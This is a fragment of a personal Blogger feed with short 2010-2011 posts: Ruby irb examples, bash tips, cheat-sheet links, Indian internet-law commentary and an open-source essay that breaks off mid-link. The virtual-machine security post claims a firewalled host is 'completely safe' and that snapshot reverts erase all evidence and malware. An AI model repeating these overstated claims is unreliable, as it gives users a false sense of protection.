&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3270396502105535760?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3270396502105535760/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/mlocate-is-not-for-me.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3270396502105535760'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3270396502105535760'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/mlocate-is-not-for-me.html' title='mlocate is not for me'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3046386184697846767</id><published>2011-01-05T00:14:00.000-08:00</published><updated>2011-02-22T07:44:08.442-08:00</updated><title type='text'>Some cool stuff in ruby</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;The following are some cool stuff I noticed at an initial glance at ruby:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;irb(main):001:0&gt; puts %&amp;amp;hello, I can use " without escaping&amp;amp;
hello, I can use " without escaping
=&gt; nil


irb(main):002:0&gt; 5.times { |i| puts i}
0
1
2
3
4
=&gt; 5
 

irb(main):003:0&gt; 5.upto(10) do
irb(main):004:1*     puts "hello"
irb(main):005:1&gt; end
hello
hello
hello
hello
hello
hello
=&gt; 5
 

irb(main):006:0&gt; for i in 1..8 do puts i end
1
2
3
4
5
6
7
8
=&gt; 1..8 


NOTE: Its 3 dots and not 2, below


irb(main):007:0&gt; for i in 1...8 do puts i end
1
2
3
4
5
6
7
=&gt; 1...8


irb(main):008:0&gt; strng = "ABCD "
=&gt; "ABCD "
irb(main):009:0&gt; strng.match(/&lt;(.*?)&gt;/)[1]
=&gt; "myname@gmail.com"


irb(main):010:0&gt; x = 'this is a test'
=&gt; "this is a test"
irb(main):011:0&gt; x[/[aeiou].+?[aeiou]/]
=&gt; "is i"


irb(main):012:0&gt; [1, 2, 3] * 3
=&gt; [1, 2, 3, 1, 2, 3, 1, 2, 3]


irb(main):013:0&gt; %w{this is a test} * ", "
=&gt; "this, is, a, test"


irb(main):014:0&gt; h = { :name =&gt; "Fred", :age =&gt; 77 }
=&gt; {:age=&gt;77, :name=&gt;"Fred"}
irb(main):015:0&gt; h.map { |i| i * "=" } * "\n"
=&gt; "age=77\nname=Fred"


irb(main):016:0&gt; x = %w{p hello p}
=&gt; ["p", "hello", "p"]
irb(main):017:0&gt;
irb(main):018:0* "&lt;%s&gt;%s" % x
=&gt; "hello
"


irb(main):019:0&gt; year = 1972
=&gt; 1972


irb(main):020:0&gt; puts case year
irb(main):021:1&gt;         when 1970..1979: "Seventies"
irb(main):022:1&gt;         when 1980..1989: "Eighties"
irb(main):023:1&gt;         when 1990..1999: "Nineties"
irb(main):024:1&gt;
irb(main):025:1* end
Seventies
=&gt; nil


irb(main):002:0&gt; puts "hello world %s" % "john and mary"
hello world john and mary
=&gt; nil


irb(main):007:0&gt; puts %q!c:\napolean's documents\tomorrow's bus schedule.txt!
c:\napolean's documents\tomorrow's bus schedule.txt


irb(main):008:0&gt; name = 'Charlie Brown'
=&gt; "Charlie Brown"
irb(main):009:0&gt; puts %Q!Say "Hello," #{name}.!
Say "Hello," Charlie Brown.
=&gt; nil


irb(main):010:0&gt; puts %x{ls}
Desktop
Documents
Downloads
examples.desktop
FlashXXw1muXb
Music
Pictures
Public
Templates
Videos
=&gt; nil


Ruby Quick Reference Manual


irb(main):010:0&gt; (1..3).map { |x| puts x; x+1 }
1
2
3
=&gt; [2, 3, 4]

 

irb(main):012:0&gt; [[1,2,3], ['a','b','c']].flatten

=&gt; [1, 2, 3, "a", "b", "c"]

 

irb(main):013:0&gt; [1,2,3].reduce(0, &amp;amp;:+)

=&gt; 6

&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3046386184697846767?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3046386184697846767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/some-cool-stuff-in-ruby.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3046386184697846767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3046386184697846767'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/some-cool-stuff-in-ruby.html' title='Some cool stuff in ruby'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1892919670015066338</id><published>2011-01-04T06:37:00.000-08:00</published><updated>2011-01-04T06:37:53.551-08:00</updated><title type='text'>Securing Desktop using Virtual Machines</title><content type='html'>The following is a configuration which is almost fully secure:&lt;br /&gt;
&lt;br /&gt;
a. A Windows/Linux host with firewall enabled such that all incoming and outgoing connections disabled&lt;br /&gt;
b. A Virtual Machine inside the host with "Bridged Networking" enabled&lt;br /&gt;
&lt;br /&gt;
With the above configuration, only your Virtual Machine can communicate with the outside world; Your host machine is completely isolated&amp;nbsp; by means of firewall&lt;br /&gt;
&lt;br /&gt;
c. Take a snapshot of the virtual machine&lt;br /&gt;
d. Work from the snapshot whenever you want to communicate with internet&lt;br /&gt;
e. Revert to snapshot when you power off your Virtual Machine (thereby all evidence of your internet work is erased)&lt;br /&gt;
&lt;br /&gt;
NOTE:&lt;br /&gt;
&lt;br /&gt;
a. No evidence of any work done when Virtual Machine was powered on (because you are reverting to initial snapshot when powering off)&lt;br /&gt;
b. Every time you power on the Virtual Machine, you revert to the initial snapshot&lt;br /&gt;
c. Any virus or malware that will affect during your internet working hours, will essentially be removed by powering off your VM (thereby reverting to your initial snapshot)&lt;br /&gt;
d. All internet activity is done using Virtual Machine, and your host's firewall blocks ALL incoming and outgoing traffic, so your host is completely safe&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1892919670015066338?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1892919670015066338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/securing-desktop-using-virtual-machines.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1892919670015066338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1892919670015066338'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/securing-desktop-using-virtual-machines.html' title='Securing Desktop using Virtual Machines'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2046617154104000398</id><published>2011-01-03T01:53:00.000-08:00</published><updated>2011-01-12T07:44:18.429-08:00</updated><title type='text'>Bash cheet sheets</title><content type='html'>Will keep adding one by one:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://files.myopera.com/suchindrac/files/bash-history-cheat-sheet.txt"&gt;Bash History Cheet Sheet&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.blogger.com/goog_1810476654"&gt;Awk Cheet Sheet&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://files.myopera.com/suchindrac/files/netcat_cheat_sheet_v1.pdf"&gt;Netcat Cheet Sheet &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2046617154104000398?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2046617154104000398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/bash-cheet-sheets.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2046617154104000398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2046617154104000398'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/bash-cheet-sheets.html' title='Bash cheet sheets'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2293224334527965737</id><published>2011-01-03T01:37:00.000-08:00</published><updated>2011-02-22T07:45:19.941-08:00</updated><title type='text'>Bash command to prefix line numbers to a text file</title><content type='html'>Just heard it first time. The command is nl&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;sh-3.2$ cat abcd.txt
line 1
line 2
line 3

line 4
line5
sh-3.2$ cat abcd.txt | nl
                 1     line 1
                 2     line 2
                 3     line 3

                 4     line 4
                 5     line5
sh-3.2$

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2293224334527965737?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2293224334527965737/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/bash-command-to-prefix-line-numbers-to.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2293224334527965737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2293224334527965737'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/bash-command-to-prefix-line-numbers-to.html' title='Bash command to prefix line numbers to a text file'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1688998936019662932</id><published>2011-01-02T21:13:00.000-08:00</published><updated>2011-01-02T21:26:25.756-08:00</updated><title type='text'>India, here comes orwellian 1984</title><content type='html'>Everything that one does on internet was regarded as free and open since a long time. But not now. India's laws prohibit anything from joking, to whistle-blowing; Which means we must stay informed only by public media and also forcibly believe in what has been said in media&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Those  who would              give up essential liberty to purchase a little temporary  safety deserve              neither liberty nor safety&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
In a nutshell, it means, we have lost our internet liberty (at-least as per law)&lt;br /&gt;
&lt;br /&gt;
Next comes the most difficult question of porn, where the common comment is: It is orwellian to enforce morality on one gender (men) while the other gender (women) goes un-monitored; If the motive is to stop porn, the laws should begin with the source of it&lt;br /&gt;
&lt;br /&gt;
The following is a snip from the internet laws in India, &lt;a href="http://www.countercurrents.org/karun020109.htm"&gt;taken from this website&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;Thou               shall not author a joke. Not even forward one&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Any  person              who sends, by means of a computer resource or a  communication device,              — (a) any content that is grossly offensive or has menacing              character; or (b) any content which he knows to be false,  but for              the purpose of causing annoyance, inconvenience, danger,  obstruction,              insult, injury, criminal intimidation, enmity, hatred or ill  will...              shall be punishable with imprisonment for a term which may  extend              to two years and with fine.&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;b&gt;Thou               shall not surf Bollywood news&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Whoever               publishes/ transmits/ causes to be published/ transmitted in  the electronic              form, any material which is lascivious or appeals to the  prurient              interest or if its effect is such as to tend to deprave and  corrupt              persons who are likely, having regard to all relevant  circumstances,              to read, see or hear the matter contained or embodied in it,  shall              be punished on first conviction with imprisonment of either  prescription              for a term which may extend to two years and with fine which  may extend              to five lakh rupees and in the event of second or subsequent  conviction              with imprisonment of either description for a term which may  extend              to five years and also with fine which may extend to ten  lakh rupees.&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;&lt;br /&gt;
&lt;b&gt;Thou shall not watch porn&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;If  the              material is sexually explicit act or conduct then the  punishment on              first conviction is imprisonment which may extend to five  years and              a fine which may extend to ten lakh rupees. In the event of  second              or subsequent conviction imprisonment may extend to seven  years and              fine to ten lakh rupees.&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;But  one              has to admit that there is concern on part of the government  on what              could be the impact of the law on art and literature. So  section 67              does not extend to any book, pamphlet, paper, writing,  drawing, painting,              representation or figure in electronic form, provided it is  in the              interest of science, literature, art or learning or  religion. That              means M.F Hussein can't be framed under IT Act anymore, and  that photos              and videos are not considered art.&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;‘So               what?’ is the familiar rhetoric. Why fear if you've got  nothing              to hide? Why should law abiding citizens be bothered about  some 'inevitable              invasion' into privacy in the wake of increasing terror  attacks? After              all the perpetrators of terror are known to use Internet and  other              modern communication tools to plan and execute deadly  strikes like              that happened in Mumbai.&lt;/span&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;There  is              only one answer and it is a Benjamin Franklin quote: &lt;/span&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Those  who would              give up essential liberty to purchase a little temporary  safety deserve              neither liberty nor safety.&amp;nbsp;&lt;/span&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1688998936019662932?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1688998936019662932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/india-here-comes-orwellian-1984.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1688998936019662932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1688998936019662932'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/01/india-here-comes-orwellian-1984.html' title='India, here comes orwellian 1984'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7298092302360671468</id><published>2010-12-31T17:47:00.000-08:00</published><updated>2010-12-31T17:47:10.172-08:00</updated><title type='text'>Wishes</title><content type='html'>&lt;b style="color: #3d85c6;"&gt;May you all be blessed with happiness and success in the New Year &lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-7298092302360671468?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/7298092302360671468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/wishes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7298092302360671468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/7298092302360671468'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/wishes.html' title='Wishes'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-6668259576611691314</id><published>2010-12-29T07:38:00.000-08:00</published><updated>2010-12-29T07:38:23.185-08:00</updated><title type='text'>94 year old father of 23 children</title><content type='html'>Most people in the medical fraternity must have marvelled at the news of  a 94-year-old man fathering a child. Doctors, however, are not too  enthused by the news&lt;br /&gt;
&lt;br /&gt;
More in the &lt;a href="http://www.dnaindia.com/mumbai/report_94-year-old-father-has-nothing-to-be-proud-of-say-doctors_1487431"&gt;article here&lt;/a&gt; and &lt;a href="http://timesofindia.indiatimes.com/india/Haryanas-landless-labourer-becomes-oldest-father-at-94/articleshow/7172168.cms"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-6668259576611691314?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/6668259576611691314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/94-year-old-father-of-23-children.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6668259576611691314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/6668259576611691314'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2010/12/94-year-old-father-of-23-children.html' title='94 year old father of 23 children'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-7294123749573307685</id><published>2010-12-29T05:12:00.001-08:00</published><updated>2011-01-05T05:56:47.630-08:00</updated><title type='text'>Closed Source and Open Source</title><content type='html'>Closed source has 2 distinct features:&lt;br /&gt;
&lt;br /&gt;
a. The procedure used for manufacturing a product is hidden&lt;br /&gt;
b. The contents of the end product are hidden&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Taking the two facts above, the following can be considered as open source/partially open source:&lt;br /&gt;
&lt;br /&gt;
Farming, Food Industry, Hotel Industry, Textile Industry, Logistics, Transport, Automobiles, Housing&lt;br /&gt;
&lt;br /&gt;
It is very important to know that closed source is not the same as business&lt;br /&gt;
&lt;br /&gt;
Closed source == business with hidden methods and/or hidden components in end product&lt;br /&gt;
&lt;br /&gt;
As per wikipedia article:&lt;br /&gt;
&lt;br /&gt;
The open source model includes the concept of concurrent yet  different agendas and differing approaches in production, in contrast  with more centralized models of &lt;a href="http://en.wikipedia.org/wiki/Software_developer_%28disambiguation%29" title="Software developer (disambiguation)"&gt;development&lt;/a&gt; such as  those typically used in commercial software companies.&lt;sup class="reference" id="cite_ref-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-1"&gt;&lt;span&gt;[&lt;/span&gt;2&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  A main principle and practice of open source software development is &lt;a href="http://en.wikipedia.org/wiki/Peer_production" title="Peer 
production"&gt;peer production&lt;/a&gt; by &lt;a href="http://en.wikipedia.org/wiki/Barter" title="Barter"&gt;bartering&lt;/a&gt;  and &lt;a href="http://en.wikipedia.org/wiki/Collaboration" title="Collaboration"&gt;collaboration&lt;/a&gt;, with the end-product,  source-material, "&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Blueprints" title="Blueprints"&gt;blueprints&lt;/a&gt;", and  documentation available at no cost to the public. This is increasingly  being applied in other fields of endeavor, such as &lt;a href="http://en.wikipedia.org/wiki/Biotechnology" title="Biotechnology"&gt;biotechnology&lt;/a&gt;.&lt;sup class="reference" id="cite_ref-2"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-2"&gt;&lt;span&gt;[&lt;/span&gt;3&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
&lt;br /&gt;
The concept of open source and free sharing of technological  information existed long before computers. For example, cooking &lt;a href="http://en.wikipedia.org/wiki/Recipe" title="Recipe"&gt;recipes&lt;/a&gt;  have been shared since the beginning of human culture. Open source can  pertain to businesses and to computers, software and technology.&lt;br /&gt;
In the early years of &lt;a href="http://en.wikipedia.org/wiki/Automobile" title="Automobile"&gt;automobile&lt;/a&gt;  development, a group of capital &lt;a href="http://en.wikipedia.org/wiki/Monopoly" title="Monopoly"&gt;monopolists&lt;/a&gt;  owned the rights to a &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/2_cycle" title="2 cycle"&gt;2 cycle&lt;/a&gt; &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Gasoline_engine" title="Gasoline 
engine"&gt;gasoline engine&lt;/a&gt; &lt;a href="http://en.wikipedia.org/wiki/Patent" title="Patent"&gt;patent&lt;/a&gt;  originally filed by &lt;a href="http://en.wikipedia.org/wiki/George_B._Selden" title="George B. 
Selden"&gt;George B. Selden&lt;/a&gt;.&lt;sup class="reference" id="cite_ref-carculture_3-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-carculture-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  By controlling this patent, they were able to monopolize the industry  and force car manufacturers to adhere to their demands, or risk a  lawsuit. In 1911, independent automaker &lt;a href="http://en.wikipedia.org/wiki/Henry_Ford" title="Henry Ford"&gt;Henry  Ford&lt;/a&gt; won a challenge to the Selden patent. The result was that the  Selden patent became virtually worthless and a new association (which  would eventually become the &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Motor_Vehicle_Manufacturers_Association" title="Motor Vehicle Manufacturers Association"&gt;Motor  Vehicle Manufacturers Association&lt;/a&gt;) was formed.&lt;sup class="reference" id="cite_ref-carculture_3-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-carculture-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  The new association instituted a cross-licensing agreement among all US  auto manufacturers: although each company would develop technology and  file patents, these patents were shared openly and without the exchange  of money between all the manufacturers.&lt;sup class="reference" id="cite_ref-carculture_3-2"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-carculture-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  Until the US entered &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/World_War_2" title="World War 2"&gt;World War 2&lt;/a&gt;, 92 Ford  patents were being used freely by other manufacturers and were in turn  making use of 515 patents from other companies, all without lawsuits or  the exchange of money.&lt;sup class="reference" id="cite_ref-carculture_3-3"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-carculture-3"&gt;&lt;span&gt;[&lt;/span&gt;4&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
Very similar to &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Open_standards" title="Open standards"&gt;open standards&lt;/a&gt;,  researchers with access to &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Advanced_Research_Projects_Agency_Network" title="Advanced Research Projects Agency Network"&gt;Advanced  Research Projects Agency Network&lt;/a&gt; (ARPANET) used a process called &lt;a href="http://en.wikipedia.org/wiki/Request_for_Comments" title="Request
 for Comments"&gt;Request for Comments&lt;/a&gt; to develop telecommunication  network protocols. This collaborative process of the 1960s led to the  birth of the &lt;a href="http://en.wikipedia.org/wiki/Internet" title="Internet"&gt;Internet&lt;/a&gt; in 1969.&lt;br /&gt;
Early instances of open source and &lt;a href="http://en.wikipedia.org/wiki/Free_software" title="Free software"&gt;free  software&lt;/a&gt; include &lt;a href="http://en.wikipedia.org/wiki/IBM" title="IBM"&gt;IBM&lt;/a&gt;'s source releases of its &lt;a href="http://en.wikipedia.org/wiki/Operating_system" title="Operating 
system"&gt;operating systems&lt;/a&gt; and other programs in the 1950s and 1960s,  and the &lt;a href="http://en.wikipedia.org/wiki/SHARE_%28computing%29" title="SHARE (computing)"&gt;SHARE&lt;/a&gt; user group that formed to facilitate  the exchange of software.&lt;sup class="reference" id="cite_ref-4"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-4"&gt;&lt;span&gt;[&lt;/span&gt;5&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;sup class="reference" id="cite_ref-5"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-5"&gt;&lt;span&gt;[&lt;/span&gt;6&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  Open source on the Internet began when the Internet was just a message  board, and progressed to more advanced presentation and sharing forms  like a Web site. There are now many Web sites, organizations and  businesses that promote open source sharing of everything from computer  code to mechanics of improving a product, technique, or medical  advancement.&lt;br /&gt;
The label “open source” was adopted by some people in the &lt;a href="http://en.wikipedia.org/wiki/Free_software" title="Free software"&gt;free  software&lt;/a&gt; movement at a strategy session&lt;sup class="reference" id="cite_ref-osihistory_6-0"&gt;&lt;a href="http://en.wikipedia.org/wiki/Open_source#cite_note-osihistory-6"&gt;&lt;span&gt;[&lt;/span&gt;7&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;  held at &lt;a href="http://en.wikipedia.org/wiki/Palo_Alto,_California" title="Palo Alto, California"&gt;Palo Alto, California&lt;/a&gt;, in reaction to &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Netscape_Communications_Corporation" title="Netscape Communications Corporation"&gt;Netscape&lt;/a&gt;'s  January 1998 announcement of a source code release for &lt;a href="http://en.wikipedia.org/wiki/Netscape_Navigator" title="Netscape 
Navigator"&gt;Navigator&lt;/a&gt;. The group of individuals at the session  included Christine Peterson who suggested “open source”, Todd Anderson, &lt;a href="http://en.wikipedia.org/wiki/Larry_Augustin" title="Larry 
Augustin"&gt;Larry Augustin&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Jon_Hall_%28programmer%29" title="Jon
